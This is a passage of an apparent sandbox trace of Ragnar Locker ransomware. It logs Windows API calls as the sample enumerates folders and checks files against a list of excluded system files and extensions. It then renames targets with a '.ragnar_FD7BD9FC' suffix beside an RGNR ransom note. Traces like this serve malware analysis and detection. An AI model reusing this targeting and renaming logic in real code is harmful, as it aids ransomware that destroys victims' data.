dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0056.755] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.758] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73dd8a40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73dd8a40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.758] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.758] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.758] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73dd8a40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73dd8a40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.758] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.758] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.758] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0056.758] lstrcmpiW (lpString1="webbase.xml", lpString2=".") returned 1 [0056.759] lstrcmpiW (lpString1="webbase.xml", lpString2="..") returned 1 [0056.759] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0056.759] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73dd8a40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73dd8a40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0056.759] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73dd8a40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73dd8a40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.759] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73dd8a40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73dd8a40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.760] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4c [0056.760] lstrcpyW (in: lpString1=0x1ea0a2, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.760] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.760] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.760] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0056.760] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4c [0056.760] lstrcpyW (in: lpString1=0x1ea0a2, lpString2="webbase.xml" | out: lpString1="webbase.xml") returned="webbase.xml" [0056.760] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned=".xml" [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="autorun.inf") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="boot.ini") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="bootfont.bin") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="bootsect.bak") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="bootmgr") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="bootmgr.efi") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="bootmgfw.efi") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="desktop.ini") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="iconcache.db") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="ntldr") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="ntuser.dat") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="ntuser.dat.log") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="ntuser.ini") returned 1 [0056.760] lstrcmpiW (lpString1="webbase.xml", lpString2="thumbs.db") returned 1 [0056.760] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.760] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.760] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.760] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.760] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.760] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.760] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0056.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.761] CloseHandle (hObject=0xffffffff) returned 0 [0056.761] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" [0056.761] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.ragnar_FD7BD9FC" [0056.762] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.762] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0056.762] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.762] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0056.762] lstrcmpiW (lpString1="web.xml", lpString2=".") returned 1 [0056.762] lstrcmpiW (lpString1="web.xml", lpString2="..") returned 1 [0056.762] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0056.762] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.762] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.762] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e13880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e13880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0056.762] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0056.762] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.762] lstrcpyW (in: lpString1=0x1eab72, lpString2="auxpad.xml" | out: lpString1="auxpad.xml") returned="auxpad.xml" [0056.762] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned=".xml" [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="autorun.inf") returned 1 [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="boot.ini") returned -1 [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="bootfont.bin") returned -1 [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="bootsect.bak") returned -1 [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="bootmgr") returned -1 [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="bootmgr.efi") returned -1 [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="bootmgfw.efi") returned -1 [0056.762] lstrcmpiW (lpString1="auxpad.xml", lpString2="desktop.ini") returned -1 [0056.763] lstrcmpiW (lpString1="auxpad.xml", lpString2="iconcache.db") returned -1 [0056.763] lstrcmpiW (lpString1="auxpad.xml", lpString2="ntldr") returned -1 [0056.763] lstrcmpiW (lpString1="auxpad.xml", lpString2="ntuser.dat") returned -1 [0056.763] lstrcmpiW (lpString1="auxpad.xml", lpString2="ntuser.dat.log") returned -1 [0056.763] lstrcmpiW (lpString1="auxpad.xml", lpString2="ntuser.ini") returned -1 [0056.763] lstrcmpiW (lpString1="auxpad.xml", lpString2="thumbs.db") returned -1 [0056.763] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.763] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.763] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.763] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.763] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.763] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.763] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0056.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.763] CloseHandle (hObject=0xffffffff) returned 0 [0056.763] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" [0056.763] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.ragnar_FD7BD9FC" [0056.763] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.763] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72e399e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72e399e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0056.763] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0056.763] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.763] lstrcpyW (in: lpString1=0x1eab72, lpString2="keypad.xml" | out: lpString1="keypad.xml") returned="keypad.xml" [0056.764] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned=".xml" [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="autorun.inf") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="boot.ini") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="bootfont.bin") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="bootsect.bak") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="bootmgr") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="bootmgr.efi") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="bootmgfw.efi") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="desktop.ini") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="iconcache.db") returned 1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="ntldr") returned -1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="ntuser.dat") returned -1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="ntuser.dat.log") returned -1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="ntuser.ini") returned -1 [0056.764] lstrcmpiW (lpString1="keypad.xml", lpString2="thumbs.db") returned -1 [0056.764] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.764] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.764] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.764] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.764] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.764] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.764] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0056.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.773] CloseHandle (hObject=0xffffffff) returned 0 [0056.773] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" [0056.773] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.ragnar_FD7BD9FC" [0056.773] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.774] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7323df00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7323df00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0056.774] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0056.774] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.774] lstrcpyW (in: lpString1=0x1eab72, lpString2="main.xml" | out: lpString1="main.xml") returned="main.xml" [0056.774] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned=".xml" [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="autorun.inf") returned 1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="boot.ini") returned 1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="bootfont.bin") returned 1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="bootsect.bak") returned 1 [0056.774] lstrcmpiW (lpString1="main.xml", lpString2="bootmgr") returned 1 [0056.774] lstrcmpiW 